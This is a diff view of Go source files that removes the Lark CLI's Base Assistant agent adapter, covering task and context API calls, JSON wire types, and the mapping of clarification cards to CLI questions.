query := map[string]string{}
putQuery(query, "context_id", contextID)
putQuery(query, "cursor", page.Token)
if page.Size > 0 {
query["limit"] = strconv.Itoa(page.Size)
}
putQuery(query, "state", p.State)
got, err := callPayload[adapterTaskList](ctx, rt, "GET", agentRoot(p.BaseToken)+"/tasks", query, nil)
if err != nil {
return nil, iagents.PageInfo{}, err
}
out := make([]iagents.TaskSummary, 0, len(got.Tasks))
for _, item := range got.Tasks {
summary, err := mapTaskSummary(item)
if err != nil {
return nil, iagents.PageInfo{}, err
}
out = append(out, summary)
}
return out, iagents.PageInfo{HasMore: got.HasMore, NextToken: got.NextCursor}, nil
}
func cancelTask(ctx context.Context, rt iagents.Runtime, taskID string) error {
p, err := iagents.BindParams[baseTokenParams](rt)
if err != nil {
return err
}
path := agentRoot(p.BaseToken) + "/tasks/" + segment(taskID) + "/cancel"
result, err := callPayload[adapterResult](ctx, rt, "POST", path, nil, map[string]any{
"metadata": map[string]string{"channel": "lark_cli"},
})
if err != nil {
return err
}
return mapResult(result, "cancel task")
}
func listContexts(ctx context.Context, rt iagents.Runtime, page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
p, err := iagents.BindParams[listContextsParams](rt)
if err != nil {
return nil, iagents.PageInfo{}, err
}
query := map[string]string{}
putQuery(query, "cursor", page.Token)
if page.Size > 0 {
query["limit"] = strconv.Itoa(page.Size)
}
putQuery(query, "status", p.Status)
got, err := callPayload[adapterContextList](ctx, rt, "GET", agentRoot(p.BaseToken)+"/contexts", query, nil)
if err != nil {
return nil, iagents.PageInfo{}, err
}
out := make([]iagents.ContextSummary, 0, len(got.Contexts))
for _, item := range got.Contexts {
mapped, err := mapContextSummary(item)
if err != nil {
return nil, iagents.PageInfo{}, err
}
out = append(out, mapped)
}
return out, iagents.PageInfo{HasMore: got.HasMore, NextToken: got.NextCursor}, nil
}
func getContext(ctx context.Context, rt iagents.Runtime, contextID string) (*iagents.ContextDetail, error) {
p, err := iagents.BindParams[baseTokenParams](rt)
if err != nil {
return nil, err
}
path := agentRoot(p.BaseToken) + "/contexts/" + segment(contextID)
got, err := callPayload[adapterContext](ctx, rt, "GET", path, nil, nil)
if err != nil {
return nil, err
}
return mapContextDetail(got)
}
func deleteContext(ctx context.Context, rt iagents.Runtime, contextID string) error {
p, err := iagents.BindParams[baseTokenParams](rt)
if err != nil {
return err
}
path := agentRoot(p.BaseToken) + "/contexts/" + segment(contextID)
result, err := callPayload[adapterResult](ctx, rt, "DELETE", path, nil, nil)
if err != nil {
return err
}
return mapResult(result, "delete context")
}
func putQuery(query map[string]string, key, value string) {
if value != "" {
query[key] = value
}
}

View File

@@ -1,147 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package base exposes the fixed Base assistant through the provider-neutral
// agents SPI. Adapter-specific wire details intentionally stay in this package.
package base
import (
"context"
"strings"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
)
// Base Agent scope is checked before every real API operation. Both the Open
// Platform app and the user token must grant it.
const baseAgentExecuteScope = "base:agent:execute"
// adapterAgentID is deliberately private: callers always use base:assistant,
// and a future Adapter-side ID change is isolated to this mapping.
const adapterAgentID = "assistant"
type sendParams struct {
BaseToken string `param:"base_token"`
ActiveTableID string `param:"active_table_id"`
}
type baseTokenParams struct {
BaseToken string `param:"base_token"`
}
type getTaskParams struct {
BaseToken string `param:"base_token"`
ContextID string `param:"context_id"`
}
type listTasksParams struct {
BaseToken string `param:"base_token"`
State string `param:"state"`
}
type listContextsParams struct {
BaseToken string `param:"base_token"`
Status string `param:"status"`
}
func baseTokenParam() []iagents.CardParam {
return []iagents.CardParam{{Name: "base_token", Required: true, Desc: "Base app token"}}
}
func getTaskParamList() []iagents.CardParam {
return []iagents.CardParam{
{Name: "base_token", Required: true, Desc: "Base app token"},
{Name: "context_id", Desc: "Optional context override used to retrieve the task's message snapshot"},
}
}
func sendParamList() []iagents.CardParam {
return []iagents.CardParam{
{Name: "base_token", Required: true, Desc: "Base app token"},
{Name: "active_table_id", Desc: "Optional active table for automatic routing"},
}
}
func listTasksParamList() []iagents.CardParam {
return []iagents.CardParam{
{Name: "base_token", Required: true, Desc: "Base app token"},
{Name: "state", Enum: []string{"running", "done", "failed"}, Desc: "Adapter task state"},
}
}
func listContextsParamList() []iagents.CardParam {
return []iagents.CardParam{
{Name: "base_token", Required: true, Desc: "Base app token"},
{Name: "status", Desc: "Adapter context status"},
}
}
var assistantSpec = iagents.AgentSpec{
ID: "assistant",
Name: "Base Assistant",
Description: "Handles multi-component Base construction and restructuring, plus user-facing data retrieval and analysis. Use Base CLI shortcuts for a single atomic edit or record create, update, or delete.",
Skills: []iagents.CardSkill{
{
ID: "base_assistant",
Name: "Build and analyze a Base",
Examples: []string{
"Create an order table from the provided field list",
"Build a sales management workflow and dashboard",
"Analyze recent sales trends and explain the main changes",
},
},
},
Send: iagents.SendOp{Params: sendParamList(), Handler: send},
GetTask: iagents.TaskGetOp{Params: getTaskParamList(), Handler: getTask},
ListTasks: iagents.TaskListOp{Params: listTasksParamList(), Handler: listTasks},
CancelTask: iagents.TaskCancelOp{Params: baseTokenParam(), Handler: cancelTask},
ListContexts: iagents.ContextListOp{Params: listContextsParamList(), Handler: listContexts},
GetContext: iagents.ContextGetOp{Params: baseTokenParam(), Handler: getContext},
DeleteContext: iagents.ContextDeleteOp{Params: baseTokenParam(), Handler: deleteContext},
FileInput: false,
InputRequired: true,
}
// Provider returns the single offline-discoverable Base assistant.
func Provider() iagents.Provider {
return iagents.Provider{
Scheme: "base",
Label: "Base Assistant",
AgentIDSource: "Use the fixed agent reference base:assistant",
RequiredScopes: []string{baseAgentExecuteScope},
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
Catalog: []iagents.AgentSpec{assistantSpec},
}
}
func validateSendRuntime(rt iagents.Runtime, in iagents.SendInput) error {
if rt.IsBot() {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"base:assistant currently supports only user identity").WithParam("--as").
WithHint("run the command with --as user")
}
if len(in.Files) > 0 {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"base:assistant does not support file input").WithParam("--file")
}
// The unified contract lets an answer carry a message-level --text remark,
// but the Base bridge maps CLI answers straight onto the pending clarification
// card and has no channel for a separate remark: SaveUserMessage rewrites the
// user message from the card answers alone. Reject the combination explicitly
// (a Base-only deviation from the framework contract) instead of silently
// dropping the remark. The backend enforces the same rule for direct HTTP.
if len(in.Answers) > 0 && strings.TrimSpace(in.Text) != "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"base:assistant does not support a remark when answering input_required").WithParam("--text").
WithHint("answer the question group with --answer only, then send --text as a follow-up message on the same task")
}
return nil
}
func send(ctx context.Context, rt iagents.Runtime, in iagents.SendInput) (*iagents.AgentTask, error) {
if err := validateSendRuntime(rt, in); err != nil {
return nil, err
}
return sendMessage(ctx, rt, in)
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,287 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package base
import (
"bytes"
"encoding/json"
"fmt"
)
type adapterSendRequest struct {
ContextID string `json:"context_id,omitempty"`
TaskID string `json:"task_id,omitempty"`
Message adapterMessage `json:"message"`
Params map[string]string `json:"params,omitempty"`
IdempotencyKey string `json:"idempotency_key"`
Metadata map[string]string `json:"metadata"`
}
type adapterMessage struct {
MessageID string `json:"message_id,omitempty"`
Role string `json:"role"`
Parts []adapterPart `json:"parts,omitempty"`
Text string `json:"text,omitempty"`
}
// answersDataKind marks the DataPart that carries an input_required reply.
const answersDataKind = "answers"
// answersDataSchemaVersion is the wire schema version of the answers payload.
// It is included in the canonical encoding so a schema change forces a new
// deterministic id (an old-schema retry never dedupes against a new one).
const answersDataSchemaVersion = 1
// answersDataPart is the typed body of a kind=answers DataPart. The bridge
// serializes it into adapterPart.Data; the backend decodes the same shape and
// restores the pending clarification card from payload.answers (public
// question_id → option_id/text values). Keys/values ride argv order from the
// command layer; the deterministic id derived alongside canonicalizes them.
type answersDataPart struct {
Kind string `json:"kind"`
SchemaVersion int `json:"schema_version"`
Payload answersDataPayload `json:"payload"`
}
type answersDataPayload struct {
Answers map[string][]string `json:"answers"`
}
type adapterPart struct {
Type string `json:"type"`
Text string `json:"text,omitempty"`
Name string `json:"name,omitempty"`
URL string `json:"url,omitempty"`
Data json.RawMessage `json:"data,omitempty"`
}
type adapterArtifact struct {
ID string `json:"id"`
Kind string `json:"kind,omitempty"`
Name string `json:"name,omitempty"`
URL string `json:"url,omitempty"`
Text string `json:"text,omitempty"`
}
type adapterTask struct {
// SchemaVersion/Status/Outputs are the v1 detail contract returned by
// SendMessage and GetTask. The remaining fields are retained while task-list
// and context endpoints still return the legacy summary shape.
SchemaVersion int `json:"schema_version,omitempty"`
ID string `json:"id,omitempty"`
TaskID string `json:"task_id,omitempty"`
ContextID string `json:"context_id,omitempty"`
State string `json:"state,omitempty"`
Status string `json:"status,omitempty"`
CreatedAt json.RawMessage `json:"created_at,omitempty"`
UpdatedAt json.RawMessage `json:"updated_at,omitempty"`
Summary string `json:"summary,omitempty"`
Outputs []adapterOutput `json:"outputs,omitempty"`
// Legacy detail fields are accepted only for the schema_version=0 rollout
// compatibility path. New v1 responses must use Outputs.
Messages []adapterMessage `json:"messages,omitempty"`
Artifacts []adapterArtifact `json:"artifacts,omitempty"`
}
type adapterTaskList struct {
Tasks []adapterTask `json:"tasks"`
HasMore bool `json:"has_more"`
NextCursor string `json:"next_cursor,omitempty"`
}
func (l *adapterTaskList) UnmarshalJSON(data []byte) error {
tasks, hasMore, nextCursor, err := decodeAdapterList[adapterTask](data, "tasks")
if err != nil {
return err
}
*l = adapterTaskList{Tasks: tasks, HasMore: hasMore, NextCursor: nextCursor}
return nil
}
type adapterOutput struct {
ID string `json:"id"`
Type string `json:"type"`
Source string `json:"source,omitempty"`
GroupID string `json:"group_id,omitempty"`
Text string `json:"text,omitempty"`
Data *adapterStructuredData `json:"data,omitempty"`
Clarification *adapterClarification `json:"clarification,omitempty"`
Artifact *adapterOutputArtifact `json:"artifact,omitempty"`
Raw json.RawMessage `json:"-"`
}
func (o *adapterOutput) UnmarshalJSON(data []byte) error {
type outputAlias adapterOutput
var decoded outputAlias
if err := json.Unmarshal(data, &decoded); err != nil {
return err
}
*o = adapterOutput(decoded)
o.Raw = append(json.RawMessage(nil), data...)
return nil
}
type adapterStructuredData struct {
Kind string `json:"kind"`
SchemaVersion int `json:"schema_version"`
Payload json.RawMessage `json:"payload"`
}
type adapterClarification struct {
ID string `json:"id"`
Title string `json:"title,omitempty"`
Required bool `json:"required"`
Submitted bool `json:"submitted"`
Questions []adapterClarificationQuestion `json:"questions,omitempty"`
Forms []adapterClarificationForm `json:"forms,omitempty"`
Buttons []adapterClarificationButton `json:"buttons,omitempty"`
DefaultAction *adapterClarificationDefaultAction `json:"default_action,omitempty"`
}
type adapterClarificationQuestion struct {
ID string `json:"id"`
Type string `json:"type"`
Prompt string `json:"prompt"`
Required bool `json:"required"`
AllowCustomInput bool `json:"allow_custom_input,omitempty"`
Options []adapterClarificationOption `json:"options,omitempty"`
SubQuestions []adapterClarificationQuestion `json:"sub_questions,omitempty"`
Answered bool `json:"answered,omitempty"`
Answer *adapterClarificationAnswer `json:"answer,omitempty"`
}
type adapterClarificationOption struct {
ID string `json:"id"`
Label string `json:"label"`
Description string `json:"description,omitempty"`
}
type adapterClarificationAnswer struct {
OptionIDs []string `json:"option_ids,omitempty"`
Value json.RawMessage `json:"value,omitempty"`
}
type adapterClarificationForm struct {
ID string `json:"id"`
Title string `json:"title,omitempty"`
Questions []adapterClarificationQuestion `json:"questions,omitempty"`
Buttons []adapterClarificationButton `json:"buttons,omitempty"`
}
type adapterClarificationButton struct {
ID string `json:"id"`
Kind string `json:"kind"`
Style string `json:"style,omitempty"`
Label string `json:"label"`
Default bool `json:"default,omitempty"`
Message string `json:"message,omitempty"`
ConfirmText string `json:"confirm_text,omitempty"`
ActionParams string `json:"action_params,omitempty"`
}
type adapterClarificationDefaultAction struct {
ButtonText string `json:"button_text,omitempty"`
ActionParams string `json:"action_params,omitempty"`
}
type adapterOutputArtifact struct {
ID string `json:"id"`
Type string `json:"type"`
Title string `json:"title,omitempty"`
Status string `json:"status"`
Resource map[string]string `json:"resource,omitempty"`
Revision *int64 `json:"revision,omitempty"`
Metadata json.RawMessage `json:"metadata,omitempty"`
}
type adapterContext struct {
ID string `json:"id,omitempty"`
ContextID string `json:"context_id,omitempty"`
Title string `json:"title,omitempty"`
Status string `json:"status,omitempty"`
CreatedAt json.RawMessage `json:"created_at,omitempty"`
UpdatedAt json.RawMessage `json:"updated_at,omitempty"`
Tasks []adapterTask `json:"tasks,omitempty"`
}
type adapterContextList struct {
Contexts []adapterContext `json:"contexts"`
HasMore bool `json:"has_more"`
NextCursor string `json:"next_cursor,omitempty"`
}
func (l *adapterContextList) UnmarshalJSON(data []byte) error {
contexts, hasMore, nextCursor, err := decodeAdapterList[adapterContext](data, "contexts")
if err != nil {
return err
}
*l = adapterContextList{Contexts: contexts, HasMore: hasMore, NextCursor: nextCursor}
return nil
}
func decodeAdapterList[T any](data []byte, itemsField string) ([]T, bool, string, error) {
trimmed := bytes.TrimSpace(data)
if len(trimmed) == 0 {
return nil, false, "", fmt.Errorf("Base Agent list response is empty")
}
if trimmed[0] == '[' {
var items []T
if err := json.Unmarshal(trimmed, &items); err != nil {
return nil, false, "", err
}
return items, false, "", nil
}
if trimmed[0] != '{' {
return nil, false, "", fmt.Errorf("Base Agent list response must be an object")
}
var envelope map[string]json.RawMessage
if err := json.Unmarshal(trimmed, &envelope); err != nil {
return nil, false, "", err
}
itemsRaw, ok := envelope[itemsField]
if !ok || bytes.Equal(bytes.TrimSpace(itemsRaw), []byte("null")) {
return nil, false, "", fmt.Errorf("Base Agent list response is missing %q", itemsField)
}
var items []T
if err := json.Unmarshal(itemsRaw, &items); err != nil {
return nil, false, "", fmt.Errorf("decode Base Agent list response %q: %w", itemsField, err)
}
hasMoreRaw, ok := envelope["has_more"]
if !ok || bytes.Equal(bytes.TrimSpace(hasMoreRaw), []byte("null")) {
return nil, false, "", fmt.Errorf("Base Agent list response is missing %q", "has_more")
}
var hasMore bool
if err := json.Unmarshal(hasMoreRaw, &hasMore); err != nil {
return nil, false, "", fmt.Errorf("decode Base Agent list response %q: %w", "has_more", err)
}
var nextCursor string
if nextCursorRaw, ok := envelope["next_cursor"]; ok {
if bytes.Equal(bytes.TrimSpace(nextCursorRaw), []byte("null")) {
return nil, false, "", fmt.Errorf("Base Agent list response %q must be a string", "next_cursor")
}
if err := json.Unmarshal(nextCursorRaw, &nextCursor); err != nil {
return nil, false, "", fmt.Errorf("decode Base Agent list response %q: %w", "next_cursor", err)
}
}
if hasMore != (nextCursor != "") {
return nil, false, "", fmt.Errorf("Base Agent list response has inconsistent pagination fields")
}
return items, hasMore, nextCursor, nil
}
type adapterBusinessError struct {
Category string `json:"category,omitempty"`
Code string `json:"code,omitempty"`
Message string `json:"message,omitempty"`
}
type adapterResult struct {
Result bool `json:"result"`
Reason string `json:"reason,omitempty"`
Error adapterBusinessError `json:"error,omitempty"`
}

View File

@@ -1,636 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package base
import (
"encoding/json"
"strconv"
"strings"
"time"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
)
const adapterTaskSchemaVersion = 1
func taskID(in adapterTask) string {
if in.TaskID != "" {
return in.TaskID
}
return in.ID
}
func contextID(in adapterContext) string {
if in.ContextID != "" {
return in.ContextID
}
return in.ID
}
func mapState(raw string, allowEmpty bool) (iagents.TaskState, error) {
switch strings.ToLower(strings.TrimSpace(raw)) {
case "pending", "submitted":
return iagents.StateSubmitted, nil
case "running", "working":
return iagents.StateWorking, nil
case "waiting_for_input", "input_required":
return iagents.StateInputRequired, nil
case "done", "finish", "finished", "turn_finished", "completed":
return iagents.StateCompleted, nil
case "failed":
return iagents.StateFailed, nil
case "cancel", "canceled", "cancelled":
return iagents.StateCanceled, nil
case "":
if allowEmpty {
return iagents.StateSubmitted, nil
}
}
return "", errs.NewInternalError(errs.SubtypeInvalidResponse,
"Base Adapter returned unsupported task state %q", raw)
}
func mapTask(in adapterTask, allowEmptyState bool) (*iagents.AgentTask, error) {
if in.SchemaVersion != 0 {
return mapVersionedTask(in)
}
return mapLegacyTask(in, allowEmptyState)
}
func mapVersionedTask(in adapterTask) (*iagents.AgentTask, error) {
if in.SchemaVersion != adapterTaskSchemaVersion {
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse,
"Base Adapter returned unsupported task schema_version %d", in.SchemaVersion).
WithHint("update lark-cli to a version that supports this Base Agent task schema")
}
state, err := mapState(in.Status, false)
if err != nil {
return nil, err
}
messages, artifacts, err := mapOutputs(in.Outputs)
if err != nil {
return nil, err
}
createdAt, err := mapTime(in.CreatedAt)
if err != nil {
return nil, err
}
updatedAt, err := mapTime(in.UpdatedAt)
if err != nil {
return nil, err
}
pending := latestPendingClarification(in.Outputs)
var inputRequired *iagents.InputRequired
switch {
case state == iagents.StateInputRequired && pending == nil:
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse,
"Base Adapter returned waiting_for_input without an unresolved required clarification")
case state == iagents.StateInputRequired:
inputRequired, err = mapInputRequired(*pending.Clarification)
if err != nil {
return nil, err
}
default:
// Job status is authoritative. Clarification outputs are persisted on a
// separate path and can briefly remain unresolved after an answer moves
// the task back to running. Treat that card as historical so --watch keeps
// polling instead of surfacing an invalid-response error.
}
return &iagents.AgentTask{
TaskID: taskID(in),
ContextID: in.ContextID,
State: state,
IsTerminal: state.IsTerminal(),
CreatedAt: createdAt,
UpdatedAt: updatedAt,
Messages: messages,
Artifacts: artifacts,
InputRequired: inputRequired,
}, nil
}
func mapLegacyTask(in adapterTask, allowEmptyState bool) (*iagents.AgentTask, error) {
stateRaw := in.State
if stateRaw == "" {
stateRaw = in.Status
}
state, err := mapState(stateRaw, allowEmptyState)
if err != nil {
return nil, err
}
messages, err := mapMessages(in.Messages)
if err != nil {
return nil, err
}
artifacts, err := mapArtifacts(in.Artifacts)
if err != nil {
return nil, err
}
createdAt, err := mapTime(in.CreatedAt)
if err != nil {
return nil, err
}
updatedAt, err := mapTime(in.UpdatedAt)
if err != nil {
return nil, err
}
return &iagents.AgentTask{
TaskID: taskID(in),
ContextID: in.ContextID,
State: state,
IsTerminal: state.IsTerminal(),
CreatedAt: createdAt,
UpdatedAt: updatedAt,
Messages: messages,
Artifacts: artifacts,
}, nil
}
func mapOutputs(in []adapterOutput) ([]iagents.Message, []iagents.Artifact, error) {
parts := make([]iagents.Part, 0, len(in))
artifacts := make([]iagents.Artifact, 0)
for _, output := range in {
partMetadata := iagents.Part{OutputID: output.ID, Source: output.Source, GroupID: output.GroupID}
switch strings.ToLower(strings.TrimSpace(output.Type)) {
case "text":
if output.Text == "" {
return nil, nil, invalidOutput(output, "text output is empty")
}
partMetadata.Type = "text"
partMetadata.Text = output.Text
parts = append(parts, partMetadata)
case "data":
if output.Data == nil {
return nil, nil, invalidOutput(output, "data output is missing data")
}
if len(output.Data.Payload) == 0 || !json.Valid(output.Data.Payload) {
return nil, nil, invalidOutput(output, "data payload is invalid JSON")
}
partMetadata.Type = "data"
partMetadata.Data = map[string]interface{}{
"kind": output.Data.Kind,
"schema_version": output.Data.SchemaVersion,
"payload": append(json.RawMessage(nil), output.Data.Payload...),
}
parts = append(parts, partMetadata)
case "clarification":
if output.Clarification == nil {
return nil, nil, invalidOutput(output, "clarification output is missing clarification")
}
case "artifact":
if output.Artifact == nil {
return nil, nil, invalidOutput(output, "artifact output is missing artifact")
}
artifacts = append(artifacts, mapOutputArtifact(output))
default:
raw := output.Raw
if len(raw) == 0 {
var err error
raw, err = json.Marshal(output)
if err != nil {
return nil, nil, invalidOutputWithCause(output, "unknown output cannot be preserved", err)
}
}
partMetadata.Type = "data"
partMetadata.Data = append(json.RawMessage(nil), raw...)
parts = append(parts, partMetadata)
}
}
var messages []iagents.Message
if len(parts) > 0 {
messages = []iagents.Message{{Role: "agent", Parts: parts}}
}
return messages, artifacts, nil
}
func mapOutputArtifact(output adapterOutput) iagents.Artifact {
in := *output.Artifact
data := make(map[string]interface{}, 3)
if len(in.Resource) > 0 {
data["resource"] = in.Resource
}
if in.Revision != nil {
data["revision"] = *in.Revision
}
if len(in.Metadata) > 0 && string(in.Metadata) != "null" {
data["metadata"] = append(json.RawMessage(nil), in.Metadata...)
}
var details interface{}
if len(data) > 0 {
details = data
}
return iagents.Artifact{
ID: in.ID,
OutputID: output.ID,
Source: output.Source,
GroupID: output.GroupID,
Kind: in.Type,
Name: in.Title,
Status: in.Status,
Data: details,
}
}
func latestPendingClarification(outputs []adapterOutput) *adapterOutput {
for i := len(outputs) - 1; i >= 0; i-- {
clarification := outputs[i].Clarification
if strings.EqualFold(outputs[i].Type, "clarification") && clarification != nil &&
clarification.Required && !clarification.Submitted {
return &outputs[i]
}
}
return nil
}
// mapInputRequired expands a pending clarification into ONE question group: the
// unified contract answers the whole group atomically, so every still-open
// question is surfaced together — top-level questions, each form's questions
// (prompt prefixed with the form title), and each button set as a synthetic
// action question (the clarification/form id is the action question id, each
// button id an option). Questions with preselected values remain visible while
// the card is pending: answered=true can describe a default selection, not a
// submitted answer. IDs pass through verbatim — the backend mints CLI-legal
// public ids and resolves them back; the CLI never rewrites them. Conditional
// sub-questions are NOT answerable through the flat CLI model (answering a
// hidden branch would be wrong), so their presence is a typed
// failed_precondition here rather than a silent drop or a late backend rejection.
func mapInputRequired(in adapterClarification) (*iagents.InputRequired, error) {
questions := make([]iagents.Question, 0)
actions := make([]iagents.Question, 0)
topQuestions, err := expandClarificationQuestions(in.Questions, "")
if err != nil {
return nil, err
}
questions = append(questions, topQuestions...)
if len(in.Buttons) > 0 {
actions = append(actions, buttonActionQuestion(in.ID, clarificationActionPrompt(in), in.Buttons))
}
for _, form := range in.Forms {
formQuestions, err := expandClarificationQuestions(form.Questions, form.Title)
if err != nil {
return nil, err
}
questions = append(questions, formQuestions...)
if len(form.Buttons) > 0 {
actions = append(actions, buttonActionQuestion(form.ID, form.Title, form.Buttons))
}
}
// Content questions first, then synthetic action buttons — a submit/skip
// action reads naturally after the questions it applies to.
questions = append(questions, actions...)
label := strings.TrimSpace(in.Title)
if len(questions) == 0 {
// A bare clarification with neither questions nor buttons: present the
// title (or a default) as one free-text question. The empty-title case is
// also covered centrally by NormalizeInputRequired.
prompt := label
if prompt == "" {
prompt = "Please provide more information"
}
questions = append(questions, iagents.Question{QuestionID: in.ID, Question: prompt})
}
return &iagents.InputRequired{Label: label, Questions: questions}, nil
}
// expandClarificationQuestions maps a pending question list into contract
// Questions and rejects any question that carries conditional sub-questions
// (unsupported through the flat CLI model this phase). Do not skip Answered
// questions here: for an unsubmitted card that flag may only mean the backend
// supplied a default or recommended value that the user can still change.
func expandClarificationQuestions(questions []adapterClarificationQuestion, formTitle string) ([]iagents.Question, error) {
out := make([]iagents.Question, 0, len(questions))
for _, question := range questions {
if len(question.SubQuestions) > 0 {
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
"base:assistant cannot answer a clarification with conditional sub-questions from the CLI").
WithHint("open this Base in the Feishu/Lark client to answer the nested question group")
}
out = append(out, questionFromClarification(question, formTitle))
}
return out, nil
}
func questionFromClarification(in adapterClarificationQuestion, formTitle string) iagents.Question {
options := make([]iagents.Option, 0, len(in.Options))
for _, option := range in.Options {
options = append(options, iagents.Option{
OptionID: option.ID,
Label: option.Label,
Description: option.Description,
})
}
return iagents.Question{
QuestionID: in.ID,
Question: joinPrompt(formTitle, in.Prompt),
MultiSelect: strings.EqualFold(in.Type, "multi_select") && len(options) > 0,
Options: options,
}
}
// buttonActionQuestion turns a button set into one synthetic action question:
// the clarification/form id is the question id, each button id an option. It has
// no free-text fallback (a button set is a pure choice), and multi-select is off
// (a button click is a single action).
func buttonActionQuestion(id, prompt string, buttons []adapterClarificationButton) iagents.Question {
options := make([]iagents.Option, 0, len(buttons))
for _, button := range buttons {
options = append(options, iagents.Option{OptionID: button.ID, Label: button.Label})
}
if strings.TrimSpace(prompt) == "" {
prompt = "Select an action"
}
return iagents.Question{QuestionID: id, Question: prompt, Options: options}
}
func clarificationActionPrompt(in adapterClarification) string {
if in.DefaultAction != nil && in.DefaultAction.ButtonText != "" {
return joinPrompt(in.Title, in.DefaultAction.ButtonText)
}
return in.Title
}
func joinPrompt(parts ...string) string {
out := make([]string, 0, len(parts))
for _, part := range parts {
part = strings.TrimSpace(part)
if part == "" || (len(out) > 0 && out[len(out)-1] == part) {
continue
}
out = append(out, part)
}
return strings.Join(out, ": ")
}
func invalidOutput(output adapterOutput, reason string) error {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"Base Adapter returned invalid output %q (%s): %s", output.ID, output.Type, reason)
}
func invalidOutputWithCause(output adapterOutput, reason string, cause error) error {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"Base Adapter returned invalid output %q (%s): %s: %v", output.ID, output.Type, reason, cause).WithCause(cause)
}
func mapTaskSummary(in adapterTask) (iagents.TaskSummary, error) {
stateRaw := in.State
if stateRaw == "" {
stateRaw = in.Status
}
state, err := mapState(stateRaw, false)
if err != nil {
return iagents.TaskSummary{}, err
}
updatedAt, err := mapTime(in.UpdatedAt)
if err != nil {
return iagents.TaskSummary{}, err
}
summary := in.Summary
if summary == "" {
messages, mapErr := mapMessages(in.Messages)
if mapErr != nil {
return iagents.TaskSummary{}, mapErr
}
summary = lastText(messages)
}
return iagents.TaskSummary{
TaskID: taskID(in),
ContextID: in.ContextID,
State: state,
IsTerminal: state.IsTerminal(),
UpdatedAt: updatedAt,
Summary: summary,
}, nil
}
func mapContextSummary(in adapterContext) (iagents.ContextSummary, error) {
createdAt, err := mapTime(in.CreatedAt)
if err != nil {
return iagents.ContextSummary{}, err
}
updatedAt, err := mapTime(in.UpdatedAt)
if err != nil {
return iagents.ContextSummary{}, err
}
return iagents.ContextSummary{
ContextID: contextID(in),
CreatedAt: createdAt,
UpdatedAt: updatedAt,
Title: in.Title,
}, nil
}
func mapContextDetail(in adapterContext) (*iagents.ContextDetail, error) {
summary, err := mapContextSummary(in)
if err != nil {
return nil, err
}
detail := &iagents.ContextDetail{
ContextID: summary.ContextID,
CreatedAt: summary.CreatedAt,
UpdatedAt: summary.UpdatedAt,
Title: summary.Title,
TaskCount: iagents.Int(len(in.Tasks)),
}
if len(in.Tasks) > 0 {
var active iagents.TaskSummary
for index, task := range in.Tasks {
candidate, mapErr := mapTaskSummary(task)
if mapErr != nil {
return nil, mapErr
}
if taskIsAwaitingInput(candidate) {
detail.AwaitingInput = true
}
if index == 0 || taskSummaryIsNewer(candidate, active) {
active = candidate
}
}
detail.ActiveTask = &active
}
return detail, nil
}
func taskSummaryIsNewer(candidate, current iagents.TaskSummary) bool {
if candidate.UpdatedAt != current.UpdatedAt {
if candidate.UpdatedAt == "" {
return false
}
if current.UpdatedAt == "" {
return true
}
return candidate.UpdatedAt > current.UpdatedAt
}
if taskIsAwaitingInput(candidate) != taskIsAwaitingInput(current) {
return taskIsAwaitingInput(candidate)
}
return taskIDIsNewer(candidate.TaskID, current.TaskID)
}
func taskIsAwaitingInput(task iagents.TaskSummary) bool {
return task.State == iagents.StateInputRequired || task.State == iagents.StateAuthRequired
}
func taskIDIsNewer(candidate, current string) bool {
candidateID, candidateErr := strconv.ParseUint(candidate, 10, 64)
currentID, currentErr := strconv.ParseUint(current, 10, 64)
if candidateErr == nil && currentErr == nil {
return candidateID > currentID
}
return candidate > current
}
func mapMessages(in []adapterMessage) ([]iagents.Message, error) {
out := make([]iagents.Message, 0, len(in))
for _, message := range in {
parts := make([]iagents.Part, 0, len(message.Parts)+1)
if message.Text != "" {
parts = append(parts, iagents.Part{Type: "text", Text: message.Text})
}
for _, part := range message.Parts {
mapped, err := mapPart(part)
if err != nil {
return nil, err
}
parts = append(parts, mapped)
}
role := message.Role
if role == "assistant" {
role = "agent"
}
out = append(out, iagents.Message{Role: role, Parts: parts})
}
return out, nil
}
func mapPart(in adapterPart) (iagents.Part, error) {
switch strings.ToLower(in.Type) {
case "text":
return iagents.Part{Type: "text", Text: in.Text}, nil
case "file":
return iagents.Part{Type: "file", Name: in.Name, URL: in.URL}, nil
case "data":
if len(in.Data) > 0 {
var data any
if err := json.Unmarshal(in.Data, &data); err != nil {
return iagents.Part{}, invalidMessage(err)
}
return iagents.Part{Type: "data", Data: data}, nil
}
if in.Text == "" {
return iagents.Part{Type: "data"}, nil
}
var data map[string]any
if err := json.Unmarshal([]byte(in.Text), &data); err != nil {
return iagents.Part{}, invalidMessage(err)
}
op, _ := data["operation_type"].(string)
content, contentIsString := data["content"].(string)
switch strings.ToLower(op) {
case "text", "answer", "message", "plain_text", "markdown":
if contentIsString {
return iagents.Part{Type: "text", Text: content}, nil
}
}
return iagents.Part{Type: "data", Data: data}, nil
default:
return iagents.Part{Type: "data", Data: map[string]any{
"type": in.Type, "text": in.Text, "name": in.Name, "url": in.URL,
}}, nil
}
}
func mapArtifacts(in []adapterArtifact) ([]iagents.Artifact, error) {
out := make([]iagents.Artifact, 0, len(in))
for _, item := range in {
text := item.Text
if strings.HasPrefix(strings.TrimSpace(text), "{") {
part, err := mapPart(adapterPart{Type: "data", Text: text})
if err != nil {
return nil, err
}
if part.Type == "text" {
text = part.Text
}
}
out = append(out, iagents.Artifact{ID: item.ID, Kind: item.Kind, Name: item.Name, URL: item.URL, Text: text})
}
return out, nil
}
func mapTime(raw json.RawMessage) (string, error) {
